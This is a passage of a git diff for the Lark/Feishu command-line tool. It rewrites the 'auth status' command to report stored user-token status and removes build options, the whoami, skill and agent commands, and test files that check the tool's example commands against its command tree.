-	if !errors.Is(err, bareErr) {
-		t.Error("InternalError must carry bareErr via WithCause so errors.Is walks to it")
-	}
-}
--- a/cmd/auth/status.go
+++ b/cmd/auth/status.go
@@ -5,11 +5,13 @@ package auth

 import (
 	"context"
+	"time"

 	"github.com/spf13/cobra"

+	larkauth "github.com/larksuite/cli/internal/auth"
 	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/identitydiag"
+	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/output"
 )

@@ -17,7 +19,6 @@ import (
 type StatusOptions struct {
 	Factory *cmdutil.Factory
 	Verify  bool
-	JSON    bool
 }

 // NewCmdAuthStatus creates the auth status subcommand.
@@ -36,7 +37,6 @@ func NewCmdAuthStatus(f *cmdutil.Factory, runF func(*StatusOptions) error) *cobr
 	}

 	cmd.Flags().BoolVar(&opts.Verify, "verify", false, "verify token against server (requires network)")
-	cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
 	cmdutil.SetRisk(cmd, "read")

 	return cmd
@@ -60,59 +60,73 @@ func authStatusRun(opts *StatusOptions) error {
 		"defaultAs": defaultAs,
 	}

-	diagnostics := identitydiag.Diagnose(context.Background(), f, config, opts.Verify)
-	result["identities"] = diagnostics
-	result["identity"] = effectiveIdentity(diagnostics)
-	addEffectiveVerification(result, diagnostics)
-	addStatusNote(result, diagnostics)
+	if config.UserOpenId == "" {
+		result["identity"] = "bot"
+		result["note"] = "No user logged in. Only bot (tenant) identity is available for API calls. Run `lark-cli auth login` to log in."
+		output.PrintJson(f.IOStreams.Out, result)
+		return nil
+	}
+
+	stored := larkauth.GetStoredToken(config.AppID, config.UserOpenId)
+	if stored == nil {
+		result["identity"] = "bot"
+		result["userName"] = config.UserName
+		result["userOpenId"] = config.UserOpenId
+		result["note"] = "Token does not exist or has been cleared. Only bot (tenant) identity is available. Re-login: lark-cli auth login"
+		output.PrintJson(f.IOStreams.Out, result)
+		return nil
+	}
+
+	status := larkauth.TokenStatus(stored)
+	if status == "expired" {
+		result["identity"] = "bot"
+		result["note"] = "User token has expired. Only bot (tenant) identity is available. Re-login: lark-cli auth login"
+	} else {
+		result["identity"] = "user"
+	}
+	result["userName"] = config.UserName
+	result["userOpenId"] = config.UserOpenId
+	result["tokenStatus"] = status
+	result["scope"] = stored.Scope
+	result["expiresAt"] = time.UnixMilli(stored.ExpiresAt).Format(time.RFC3339)
+	result["refreshExpiresAt"] = time.UnixMilli(stored.RefreshExpiresAt).Format(time.RFC3339)
+	result["grantedAt"] = time.UnixMilli(stored.GrantedAt).Format(time.RFC3339)
+
+	// --verify: call the server to confirm token is actually usable.
+	if opts.Verify && status != "expired" {
+		verified, verifyErr := verifyTokenOnServer(f, config)
+		result["verified"] = verified
+		if verifyErr != "" {
+			result["verifyError"] = verifyErr
+		}
+	}

 	output.PrintJson(f.IOStreams.Out, result)
 	return nil
 }

-const (
-	identityUser = "user"
-	identityBot  = "bot"
-	identityNone = "none"
-)
-
-func effectiveIdentity(d identitydiag.Result) string {
-	switch {
-	case d.User.Available:
-		return identityUser
-	case d.Bot.Available:
-		return identityBot
-	default:
-		return identityNone
+// verifyTokenOnServer obtains a valid access token (refreshing if needed)
+// and calls /authen/v1/user_info to confirm the server accepts it.
+// Returns (true, "") on success or (false, reason) on failure.
+func verifyTokenOnServer(f *cmdutil.Factory, config *core.CliConfig) (bool, string) {
+	httpClient, err := f.HttpClient()
+	if err != nil {
+		return false, "failed to create HTTP client: " + err.Error()
 	}
-}

-func addEffectiveVerification(result map[string]interface{}, d identitydiag.Result) {
-	switch result["identity"] {
-	case identityUser:
-		if d.User.Verified != nil {
-			result["verified"] = *d.User.Verified
-			if !*d.User.Verified {
-				result["verifyError"] = d.User.Message
-			}
-		}
-	case identityBot:
-		if d.Bot.Verified != nil {
-			result["verified"] = *d.Bot.Verified
-			if !*d.Bot.Verified {
-				result["verifyError"] = d.Bot.Message
-			}
-		}
+	token, err := larkauth.GetValidAccessToken(httpClient, larkauth.NewUATCallOptions(config, f.IOStreams.ErrOut))
+	if err != nil {
+		return false, "token unusable: " + err.Error()
 	}
-}

-func addStatusNote(result map[string]interface{}, d identitydiag.Result) {
-	switch {
-	case !d.User.Available && d.Bot.Available:
-		result["note"] = "User identity is " + identitydiag.StatusMessage(d.User.Status) + "; bot identity is ready for bot/tenant API calls. Run `lark-cli auth login` to enable user identity."
-	case d.User.Status == identitydiag.StatusNeedsRefresh:
-		result["note"] = "User identity needs refresh and will be refreshed automatically on the next user API call."
-	case !d.User.Available && !d.Bot.Available:
-		result["note"] = "No usable identity is available. Configure bot credentials or run `lark-cli auth login`."
+	sdk, err := f.LarkClient()
+	if err != nil {
+		return false, "failed to create SDK client: " + err.Error()
 	}
+
+	if err := larkauth.VerifyUserToken(context.Background(), sdk, token); err != nil {
+		return false, "server rejected token: " + err.Error()
+	}
+
+	return true, ""
 }
--- a/cmd/auth/status_test.go
+++ b/cmd/auth/status_test.go
@@ -1,96 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package auth
-
-import (
-	"encoding/json"
-	"net/http"
-	"testing"
-
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/httpmock"
-)
-
-func TestAuthStatusRun_SplitsBotAndUserIdentity(t *testing.T) {
-	f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "secret", Brand: core.BrandFeishu,
-	})
-
-	if err := authStatusRun(&StatusOptions{Factory: f}); err != nil {
-		t.Fatalf("authStatusRun() error = %v", err)
-	}
-
-	var got statusOutput
-	if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
-		t.Fatalf("json.Unmarshal() error = %v", err)
-	}
-	if got.Identity != "bot" {
-		t.Fatalf("identity = %q, want bot", got.Identity)
-	}
-	if got.Identities.Bot.Status != "ready" || !got.Identities.Bot.Available {
-		t.Fatalf("bot = %#v, want ready and available", got.Identities.Bot)
-	}
-	if got.Identities.User.Status != "missing" || got.Identities.User.Available {
-		t.Fatalf("user = %#v, want missing and unavailable", got.Identities.User)
-	}
-}
-
-func TestAuthStatusRun_VerifyReportsBotIdentity(t *testing.T) {
-	f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
-		AppID: "test-app", AppSecret: "secret", Brand: core.BrandFeishu,
-	})
-	reg.Register(&httpmock.Stub{
-		Method: http.MethodGet,
-		URL:    "/open-apis/bot/v3/info",
-		Body: map[string]interface{}{
-			"code": 0,
-			"msg":  "ok",
-			"bot": map[string]interface{}{
-				"open_id":  "ou_bot",
-				"app_name": "diagnostic bot",
-			},
-		},
-	})
-
-	if err := authStatusRun(&StatusOptions{Factory: f, Verify: true}); err != nil {
-		t.Fatalf("authStatusRun() error = %v", err)
-	}
-
-	var got statusOutput
-	if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
-		t.Fatalf("json.Unmarshal() error = %v", err)
-	}
-	if got.Identity != "bot" {
-		t.Fatalf("identity = %q, want bot", got.Identity)
-	}
-	if got.Verified == nil || !*got.Verified {
-		t.Fatalf("verified = %v, want true", got.Verified)
-	}
-	if got.Identities.Bot.Verified == nil || !*got.Identities.Bot.Verified {
-		t.Fatalf("bot verified = %v, want true", got.Identities.Bot.Verified)
-	}
-	if got.Identities.Bot.OpenID != "ou_bot" {
-		t.Fatalf("bot open id = %q, want ou_bot", got.Identities.Bot.OpenID)
-	}
-	if got.Identities.User.Status != "missing" {
-		t.Fatalf("user status = %q, want missing", got.Identities.User.Status)
-	}
-}
-
-type statusOutput struct {
-	Identity   string `json:"identity"`
-	Verified   *bool  `json:"verified"`
-	Identities struct {
-		Bot  statusIdentity `json:"bot"`
-		User statusIdentity `json:"user"`
-	} `json:"identities"`
-}
-
-type statusIdentity struct {
-	Status    string `json:"status"`
-	Available bool   `json:"available"`
-	Verified  *bool  `json:"verified"`
-	OpenID    string `json:"openId"`
-}
--- a/cmd/build.go
+++ b/cmd/build.go
@@ -6,10 +6,7 @@ package cmd
 import (
 	"context"
 	"io"
-	"io/fs"

-	_ "github.com/larksuite/cli/agent"
-	"github.com/larksuite/cli/cmd/agent"
 	"github.com/larksuite/cli/cmd/api"
 	"github.com/larksuite/cli/cmd/auth"
 	"github.com/larksuite/cli/cmd/completion"
@@ -19,11 +16,8 @@ import (
 	"github.com/larksuite/cli/cmd/profile"
 	"github.com/larksuite/cli/cmd/schema"
 	"github.com/larksuite/cli/cmd/service"
-	"github.com/larksuite/cli/cmd/skill"
 	cmdupdate "github.com/larksuite/cli/cmd/update"
-	"github.com/larksuite/cli/cmd/whoami"
 	_ "github.com/larksuite/cli/events"
-	"github.com/larksuite/cli/internal/apicatalog"
 	"github.com/larksuite/cli/internal/build"
 	"github.com/larksuite/cli/internal/cmdpolicy"
 	"github.com/larksuite/cli/internal/cmdutil"
@@ -37,13 +31,9 @@ import (
 type BuildOption func(*buildConfig)

 type buildConfig struct {
-	streams        *cmdutil.IOStreams
-	keychain       keychain.KeychainAccess
-	globals        GlobalOptions
-	skipPlugins    bool
-	skipStrictMode bool
-	skipService    bool
-	serviceCatalog *apicatalog.Catalog
+	streams  *cmdutil.IOStreams
+	keychain keychain.KeychainAccess
+	globals  GlobalOptions
 }

 // WithIO sets the IO streams for the CLI by wrapping raw reader/writers.
@@ -61,18 +51,6 @@ func WithKeychain(kc keychain.KeychainAccess) BuildOption {
 	}
 }

-// embeddedSkillContent is the skill tree wired into cmdutil.Factory.SkillContent
-// at build time. It is registered by the repo-root package main's init via
-// SetEmbeddedSkillContent — it cannot be threaded through main.go without
-// breaking the single-file preview build (see skills_embed.go). nil in builds
-// that embed no skills; the `skills` commands then return a typed internal error.
-var embeddedSkillContent fs.FS
-
-// SetEmbeddedSkillContent registers the embedded skill tree. Called from the
-// repo-root package main's init; a wrapper main can call it before Execute to
-// supply its own skill content.
-func SetEmbeddedSkillContent(fsys fs.FS) { embeddedSkillContent = fsys }
-
 // HideProfile sets the visibility policy for the root-level --profile flag.
 // When hide is true the flag stays registered (so existing invocations still
 // parse) but is omitted from help and shell completion. Typically called as
@@ -83,41 +61,6 @@ func HideProfile(hide bool) BuildOption {
 	}
 }

-// WithoutPlugins builds only repository-owned commands. It is intended for
-// inspection tools that need a deterministic command tree.
-func WithoutPlugins() BuildOption {
-	return func(c *buildConfig) {
-		c.skipPlugins = true
-	}
-}
-
-// WithoutStrictMode builds the complete repository-owned command tree without
-// applying user/profile strict-mode pruning. It is intended for offline
-// inspection tools, not production execution.
-func WithoutStrictMode() BuildOption {
-	return func(c *buildConfig) {
-		c.skipStrictMode = true
-	}
-}
-
-// WithoutServiceCommands builds only hand-authored commands. It is intended for
-// repository quality gates that should not depend on the remote OpenAPI
-// metadata command surface.
-func WithoutServiceCommands() BuildOption {
-	return func(c *buildConfig) {
-		c.skipService = true
-	}
-}
-
-// WithServiceCatalog builds generated service commands from a specific metadata
-// catalog. It is intended for offline inspection tools that need deterministic
-// embedded metadata while production execution keeps using the runtime catalog.
-func WithServiceCatalog(catalog apicatalog.Catalog) BuildOption {
-	return func(c *buildConfig) {
-		c.serviceCatalog = &catalog
-	}
-}
-
 // Build constructs the full command tree. It also installs registered
 // plugins and emits the Startup lifecycle event during assembly --
 // so Plugin.On(Startup) handlers run even if the returned command is
@@ -160,7 +103,6 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
 	if cfg.keychain != nil {
 		f.Keychain = cfg.keychain
 	}
-	f.SkillContent = embeddedSkillContent
 	rootCmd := &cobra.Command{
 		Use:     "lark-cli",
 		Short:   "Lark/Feishu CLI — OAuth authorization, UAT management, API calls",
@@ -173,19 +115,8 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
 	rootCmd.SetOut(cfg.streams.Out)
 	rootCmd.SetErr(cfg.streams.ErrOut)

-	// Root-only usage template (curated Usage synopsis + skills footer); see
-	// rootUsageTemplate.
-	rootCmd.SetUsageTemplate(rootUsageTemplate)
-
 	installTipsHelpFunc(rootCmd)
 	rootCmd.SilenceErrors = true
-	// SilenceUsage as a static field (not only in PersistentPreRun) so it also
-	// covers flag-parse errors, which fail before PreRun runs — otherwise cobra
-	// dumps usage instead of our structured error. SetFlagErrorFunc on root is
-	// inherited by every subcommand, turning unknown-flag errors into a
-	// structured "did you mean" envelope.
-	rootCmd.SilenceUsage = true
-	rootCmd.SetFlagErrorFunc(flagDidYouMean)

 	RegisterGlobalFlags(rootCmd.PersistentFlags(), &cfg.globals)
 	rootCmd.PersistentPreRun = func(cmd *cobra.Command, args []string) {
@@ -197,39 +128,20 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
 	rootCmd.AddCommand(auth.NewCmdAuth(f))
 	rootCmd.AddCommand(profile.NewCmdProfile(f))
 	rootCmd.AddCommand(doctor.NewCmdDoctor(f))
-	rootCmd.AddCommand(whoami.NewCmdWhoami(f))
 	rootCmd.AddCommand(api.NewCmdApiWithContext(ctx, f, nil))
 	rootCmd.AddCommand(schema.NewCmdSchema(f, nil))
 	rootCmd.AddCommand(completion.NewCmdCompletion(f))
 	rootCmd.AddCommand(cmdupdate.NewCmdUpdate(f))
 	rootCmd.AddCommand(cmdevent.NewCmdEvents(f))
-	rootCmd.AddCommand(skill.NewCmdSkill(f))
-	rootCmd.AddCommand(agent.NewCmdAgent(f))
-	if !cfg.skipService {
-		if cfg.serviceCatalog != nil {
-			service.RegisterServiceCommandsFromCatalog(ctx, rootCmd, f, *cfg.serviceCatalog)
-		} else {
-			service.RegisterServiceCommandsWithContext(ctx, rootCmd, f)
-		}
-	}
+	service.RegisterServiceCommandsWithContext(ctx, rootCmd, f)
 	shortcuts.RegisterShortcutsWithContext(ctx, rootCmd, f)

-	groupRootCommands(rootCmd)
-
 	installUnknownSubcommandGuard(rootCmd)
-	// Bare `lark-cli` in an interactive terminal offers an interactive upgrade
-	// before printing help; non-bare invocations and non-TTY are unaffected.
-	installRootUpgradePrompt(f, rootCmd)

-	if mode := f.ResolveStrictMode(ctx); mode.IsActive() && !cfg.skipStrictMode {
+	if mode := f.ResolveStrictMode(ctx); mode.IsActive() {
 		pruneForStrictMode(rootCmd, mode)
 	}

-	if cfg.skipPlugins {
-		recordInventory(nil)
-		return f, rootCmd, nil
-	}
-
 	installResult, installErr := installPluginsAndHooks(cfg.streams.ErrOut)
 	if installErr != nil {
 		installPluginInstallErrorGuard(rootCmd, installErr)
--- a/cmd/build_test.go
+++ b/cmd/build_test.go
@@ -1,46 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package cmd
-
-import (
-	"context"
-	"strings"
-	"testing"
-
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/spf13/cobra"
-)
-
-func TestBuildWithoutPluginsStillBuildsBuiltinCommands(t *testing.T) {
-	root := Build(context.Background(), cmdutil.InvocationContext{}, WithoutPlugins())
-
-	if root == nil {
-		t.Fatal("Build returned nil root")
-	}
-	if findCommand(root, "api") == nil {
-		t.Fatal("builtin api command missing")
-	}
-	if findCommand(root, "docs +fetch") == nil {
-		t.Fatal("builtin docs +fetch shortcut missing")
-	}
-}
-
-func findCommand(root *cobra.Command, path string) *cobra.Command {
-	parts := strings.Fields(path)
-	cmd := root
-	for _, part := range parts {
-		var next *cobra.Command
-		for _, child := range cmd.Commands() {
-			if child.Name() == part {
-				next = child
-				break
-			}
-		}
-		if next == nil {
-			return nil
-		}
-		cmd = next
-	}
-	return cmd
-}
--- a/cmd/cmdexample_catalog_test.go
+++ b/cmd/cmdexample_catalog_test.go
@@ -1,160 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package cmd_test
-
-import (
-	"sort"
-	"strings"
-)
-
-// universalFlags are accepted by every command (cobra auto-injects help; the
-// root injects version). They are never reported as unknown.
-var universalFlags = map[string]bool{"--help": true, "-h": true, "--version": true}
-
-// catalog is the source-of-truth command catalog: command path -> accepted flag
-// tokens. A path is the command words WITHOUT the "lark-cli" root prefix, e.g.
-// "contact +search-user". The root command is the empty path "".
-type catalog struct {
-	flagsByPath map[string]map[string]bool
-	group       map[string]bool // paths that are parent groups (have subcommands)
-	sorted      []string        // cached sorted paths for suggestCommand; invalidated on addCommand
-}
-
-func newCatalog() *catalog {
-	return &catalog{
-		flagsByPath: map[string]map[string]bool{},
-		group:       map[string]bool{},
-	}
-}
-
-// setGroup records whether path is a parent group (has subcommands). Leftover
-// words after a group node are unknown subcommands; after a leaf they are
-// positionals (e.g. "api GET /path").
-func (c *catalog) setGroup(path string, isGroup bool) {
-	if isGroup {
-		c.group[path] = true
-	}
-}
-
-func (c *catalog) isGroup(path string) bool { return c.group[path] }
-
-// addCommand registers a command path and the flags it accepts. Repeated calls
-// for the same path union the flag sets. flags are full tokens ("--query", "-q").
-func (c *catalog) addCommand(path string, flags []string) {
-	set := c.flagsByPath[path]
-	if set == nil {
-		set = map[string]bool{}
-		c.flagsByPath[path] = set
-	}
-	for _, f := range flags {
-		set[f] = true
-	}
-	c.sorted = nil // invalidate cached suggestion list
-}
-
-func (c *catalog) hasCommand(path string) bool {
-	_, ok := c.flagsByPath[path]
-	return ok
-}
-
-// hasFlag reports whether flag is accepted by command path (universal flags
-// always pass).
-func (c *catalog) hasFlag(path, flag string) bool {
-	if universalFlags[flag] {
-		return true
-	}
-	set := c.flagsByPath[path]
-	return set[flag]
-}
-
-// longestPrefix returns the longest known command path that is a prefix of
-// words, plus how many words it consumed. This separates real subcommands from
-// trailing positionals (e.g. "api GET /path" resolves to "api"). When words is
-// empty it falls back to the root command. ok=false means not even the first
-// word names a command.
-func (c *catalog) longestPrefix(words []string) (path string, n int, ok bool) {
-	if len(words) == 0 {
-		if c.hasCommand("") {
-			return "", 0, true
-		}
-		return "", 0, false
-	}
-	for i := len(words); i >= 1; i-- {
-		cand := strings.Join(words[:i], " ")
-		if c.hasCommand(cand) {
-			return cand, i, true
-		}
-	}
-	return "", 0, false
-}
-
-// paths returns all known command paths, sorted.
-func (c *catalog) paths() []string {
-	out := make([]string, 0, len(c.flagsByPath))
-	for p := range c.flagsByPath {
-		out = append(out, p)
-	}
-	sort.Strings(out)
-	return out
-}
-
-// suggestCommand returns the known command path closest to want (small edit
-// distance), for error hints. Returns "" when nothing is reasonably close.
-func (c *catalog) suggestCommand(want string) string {
-	if c.sorted == nil {
-		c.sorted = c.paths() // built once after the catalog is fully populated
-	}
-	return closest(want, c.sorted)
-}
-
-// suggestFlag returns the flag of path closest to flag, for error hints.
-func (c *catalog) suggestFlag(path, flag string) string {
-	set := c.flagsByPath[path]
-	cands := make([]string, 0, len(set))
-	for f := range set {
-		cands = append(cands, f)
-	}
-	sort.Strings(cands)
-	return closest(flag, cands)
-}
-
-// closest returns the candidate with the smallest Levenshtein distance to want,
-// but only if that distance is within a tolerance scaled to want's length
-// (avoids absurd suggestions).
-func closest(want string, cands []string) string {
-	best := ""
-	bestD := 1 << 30
-	for _, cand := range cands {
-		d := levenshtein(want, cand)
-		if d < bestD {
-			bestD, best = d, cand
-		}
-	}
-	tol := len(want)/2 + 1
-	if bestD > tol {
-		return ""
-	}
-	return best
-}
-
-func levenshtein(a, b string) int {
-	ra, rb := []rune(a), []rune(b)
-	prev := make([]int, len(rb)+1)
-	for j := range prev {
-		prev[j] = j
-	}
-	for i := 1; i <= len(ra); i++ {
-		cur := make([]int, len(rb)+1)
-		cur[0] = i
-		for j := 1; j <= len(rb); j++ {
-			cost := 1
-			if ra[i-1] == rb[j-1] {
-				cost = 0
-			}
-			cur[j] = min(prev[j]+1, cur[j-1]+1, prev[j-1]+cost)
-		}
-		prev = cur
-	}
-	return prev[len(rb)]
-}
--- a/cmd/cmdexample_check_test.go
+++ b/cmd/cmdexample_check_test.go
@@ -1,60 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package cmd_test
-
-import "strings"
-
-// Finding kinds.
-const (
-	unknownCommand = "unknown_command"
-	unknownFlag    = "unknown_flag"
-)
-
-// finding is a single mismatch between an example command reference and the
-// catalog.
-type finding struct {
-	line    int
-	raw     string
-	kind    string // unknownCommand | unknownFlag
-	path    string // resolved command path (unknownFlag) or attempted path (unknownCommand)
-	flag    string // offending flag (unknownFlag only)
-	suggest string // nearest known command/flag, "" if none close
-}
-
-// checkRefs validates refs against cat and returns all mismatches in order.
-func checkRefs(cat *catalog, refs []ref) []finding {
-	var out []finding
-	for _, r := range refs {
-		path, n, ok := cat.longestPrefix(r.words)
-		if !ok {
-			attempted := strings.Join(r.words, " ")
-			out = append(out, finding{
-				line: r.line, raw: r.raw, kind: unknownCommand,
-				path: attempted, suggest: cat.suggestCommand(attempted),
-			})
-			continue
-		}
-		// Leftover words after a group node are an unknown subcommand (e.g. a
-		// mistyped method like "batch_modify_message"). After a leaf they are
-		// positionals (e.g. "api GET /path"), so only groups trigger this.
-		if n < len(r.words) && cat.isGroup(path) {
-			attempted := strings.Join(r.words, " ")
-			out = append(out, finding{
-				line: r.line, raw: r.raw, kind: unknownCommand,
-				path: attempted, suggest: cat.suggestCommand(attempted),
-			})
-			continue
-		}
-		for _, f := range r.flags {
-			if cat.hasFlag(path, f) {
-				continue
-			}
-			out = append(out, finding{
-				line: r.line, raw: r.raw, kind: unknownFlag,
-				path: path, flag: f, suggest: cat.suggestFlag(path, f),
-			})
-		}
-	}
-	return out
-}
--- a/cmd/cmdexample_parse_test.go
+++ b/cmd/cmdexample_parse_test.go
@@ -1,222 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package cmd_test
-
-import (
-	"regexp"
-	"strings"
-)
-
-// ref is one lark-cli command reference extracted from a shortcut example.
-type ref struct {
-	line  int      // 1-based line number (the line where the command starts)
-	raw   string   // reconstructed command text, for error display
-	words []string // command words before the first flag (subcommand candidates)
-	flags []string // flag tokens used, e.g. "--query", "-q"
-}
-
-const cliToken = "lark-cli"
-
-// subcommandStart guards against false positives from prose: a real command's
-// first word is ASCII (a service name or a +shortcut). A token starting with
-// CJK / punctuation is treated as narration, not a command.
-var subcommandStart = regexp.MustCompile(`^[A-Za-z+]`)
-
-// shellStops are standalone tokens that terminate a command (pipes, redirects,
-// separators). Separators glued to a token (`get;`, `foo|`) are handled inline.
-var shellStops = map[string]bool{
-	"|": true, "||": true, "&&": true, "&": true, ";": true,
-	">": true, ">>": true, "<": true, "2>": true, "2>&1": true,
-}
-
-// wordTrailPunct is sentence / CJK punctuation that can cling to a command word
-// in prose ("auth login." / "auth login，"); stripped so the word still resolves
-// instead of being dropped as an unknown command or non-ASCII narration.
-const wordTrailPunct = `.,;:!?"')]}，。、；：！？）】」』`
-
-// parseRefs extracts every lark-cli command reference from text (a shortcut's
-// Tips line, which may embed an "Example: lark-cli ..." command). It is
-// deliberately format-agnostic: it keys on the "lark-cli" token whether it sits
-// in a ```bash fence, an inline `code` span, or bare prose. Backslash
-// line-continuations are joined first so a multi-line invocation is parsed as
-// one command; inline-code backticks and trailing # comments terminate it.
-func parseRefs(content string) []ref {
-	var refs []ref
-	lines := strings.Split(content, "\n")
-	for i := 0; i < len(lines); i++ {
-		lineNo := i + 1
-		logical := lines[i]
-		// Shell line continuation: a trailing backslash joins the next physical
-		// line. Without this, flags on the continuation lines of a multi-line
-		// `lark-cli ... \` example are never seen by the checker.
-		for endsWithBackslash(logical) && i+1 < len(lines) {
-			logical = strings.TrimRight(logical, " \t")
-			logical = logical[:len(logical)-1] // drop the trailing backslash
-			i++
-			logical += " " + lines[i]
-		}
-		refs = append(refs, parseLine(logical, lineNo)...)
-	}
-	return refs
-}
-
-func endsWithBackslash(s string) bool {
-	return strings.HasSuffix(strings.TrimRight(s, " \t"), `\`)
-}
-
-func parseLine(line string, lineNo int) []ref {
-	var refs []ref
-	rest := line
-	for {
-		idx := strings.Index(rest, cliToken)
-		if idx < 0 {
-			break
-		}
-		after := rest[idx+len(cliToken):]
-		beforeOK := idx == 0 || isBoundary(rest[idx-1])
-		afterOK := after == "" || isBoundary(after[0])
-		if beforeOK && afterOK {
-			if words, flags, raw, ok := parseCmd(after); ok {
-				refs = append(refs, ref{line: lineNo, raw: cliToken + raw, words: words, flags: flags})
-			}
-		}
-		rest = after
-	}
-	return refs
-}
-
-// parseCmd tokenizes the text following "lark-cli" into leading command words
-// (the subcommand path, up to the first flag) and flag tokens. It stops at a
-// shell separator (standalone or glued), an inline-code backtick, a comment, or
-// a placeholder/prose word. ok=false filters out non-commands.
-func parseCmd(after string) (words, flags []string, raw string, ok bool) {
-	// An inline code span ends at the next backtick; a command never spans one.
-	if i := strings.IndexByte(after, '`'); i >= 0 {
-		after = after[:i]
-	}
-	// Drop $(...) command substitutions so flags belonging to the inner command
-	// (e.g. `--data "$(jq -n --arg x ...)"`) are not mistaken for lark-cli flags.
-	after = stripCmdSubst(after)
-
-	var kept []string
-	inFlags := false
-	for _, orig := range strings.Fields(after) {
-		tok := orig
-		if shellStops[tok] || strings.HasPrefix(tok, "#") {
-			break
-		}
-		// A shell separator glued to a token ends the command mid-token
-		// ("get;", "foo|next"): keep the part before it, handle it, then stop.
-		stop := false
-		if i := strings.IndexAny(tok, ";|"); i >= 0 {
-			tok, stop = tok[:i], true
-		}
-		switch {
-		case tok == "" || tok == "-":
-			// empty (after a glued separator) or a bare stdin marker — skip
-		case strings.HasPrefix(tok, "-"):
-			if f := normalizeFlag(tok); f != "" {
-				inFlags = true
-				flags = append(flags, f)
-				kept = append(kept, tok)
-			}
-		case inFlags:
-			// positional / flag value after the first flag — not a command word
-			kept = append(kept, tok)
-		default:
-			// Command-path word. ASCII placeholder markers (<x>, [x], {x|y},
-			// +<verb>, ...) end the command — checked on the RAW token so the
-			// trailing-punct stripping below cannot erase a "..." ellipsis
-			// ("base +..." must stay a placeholder, not become "+").
-			if strings.ContainsAny(tok, "<>[]{}|") || strings.Contains(tok, "...") {
-				stop = true
-				break
-			}
-			// Strip trailing sentence/CJK punctuation so "login." / "login，"
-			// resolve to "login"; non-ASCII narration ends the command.
-			w := strings.TrimRight(tok, wordTrailPunct)
-			if w == "" || hasNonASCII(w) {
-				stop = true
-				break
-			}
-			words = append(words, w)
-			kept = append(kept, tok)
-		}
-		if stop {
-			break
-		}
-	}
-	if len(kept) > 0 {
-		raw = " " + strings.Join(kept, " ")
-	}
-	// Keep root-only refs ("lark-cli --help") and refs whose first word looks
-	// like a subcommand; drop prose ("lark-cli 就能搞定 ...").
-	if len(words) == 0 {
-		return words, flags, raw, len(flags) > 0
-	}
-	if !subcommandStart.MatchString(words[0]) {
-		return nil, nil, "", false
-	}
-	return words, flags, raw, true
-}
-
-// stripCmdSubst removes $(...) command substitutions (including nested ones)
-// from s, leaving the surrounding text intact. Backtick substitutions are
-// already handled upstream (a command never spans a backtick).
-func stripCmdSubst(s string) string {
-	var b strings.Builder
-	depth := 0
-	for i := 0; i < len(s); i++ {
-		if depth == 0 && i+1 < len(s) && s[i] == '$' && s[i+1] == '(' {
-			depth = 1
-			i++ // skip '('
-			continue
-		}
-		if depth > 0 {
-			switch s[i] {
-			case '(':
-				depth++
-			case ')':
-				depth--
-			}
-			continue
-		}
-		b.WriteByte(s[i])
-	}
-	return b.String()
-}
-
-// isPlaceholderOrProse reports whether a command word is a doc placeholder
-// (<resource>, [flags], {a|b}, +<verb>, ...) or narration (CJK / other
-// non-ASCII), rather than a literal command token.
-func isPlaceholderOrProse(w string) bool {
-	if hasNonASCII(w) {
-		return true
-	}
-	return strings.ContainsAny(w, "<>[]{}|") || strings.Contains(w, "...")
-}
-
-func hasNonASCII(s string) bool {
-	return strings.IndexFunc(s, func(r rune) bool { return r > 127 }) >= 0
-}
-
-// flagShape matches the leading flag token, stripping any trailing junk such as
-// a "=value" suffix or punctuation that bled in from the surrounding markdown
-// ("--help\"", "--help;", "--params={}"). The underscore is allowed because
-// real flags use it ("--input_format", "--output_as"). Returns "" for non-flags.
-var flagShape = regexp.MustCompile(`^--?[A-Za-z][A-Za-z0-9_-]*`)
-
-// normalizeFlag extracts the canonical flag token from tok, or "" if tok is not
-// a real flag (e.g. a shell-string fragment like "-草稿'").
-func normalizeFlag(tok string) string {
-	return flagShape.FindString(tok)
-}
-
-func isBoundary(b byte) bool {
-	switch b {
-	case ' ', '\t', '`', '(', ')', '\'', '"', '*':
-		return true
-	}
-	return false
-}
--- a/cmd/cmdexample_test.go
+++ b/cmd/cmdexample_test.go
@@ -1,113 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// This file and its cmdexample_*_test.go siblings implement a test-only check:
-// the example commands embedded in shortcut definitions (the "Example: lark-cli
-// ..." lines in each shortcut's Tips, shown in --help) must match the real
-// command tree. It lives entirely in _test.go files (package cmd_test) so it
-// ships in no binary and is not importable by product code; the truth source is
-// cmd.Build, the same tree the binary uses, so the check cannot drift.
-//
-// It runs in the standard unit-test CI job (go test ./cmd/...). A mismatch — an
-// example using a renamed command or an unaccepted flag — fails that job.
-
-package cmd_test
-
-import (
-	"context"
-	"sort"
-	"strings"
-	"testing"
-
-	"github.com/larksuite/cli/cmd"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/shortcuts"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-)
-
-// TestShortcutExampleCommands checks the example commands embedded in every
-// shortcut's Tips against the live command tree. A shortcut that defines no
-// example is simply skipped.
-//
-// Because the examples and the command definitions live in the same Go code,
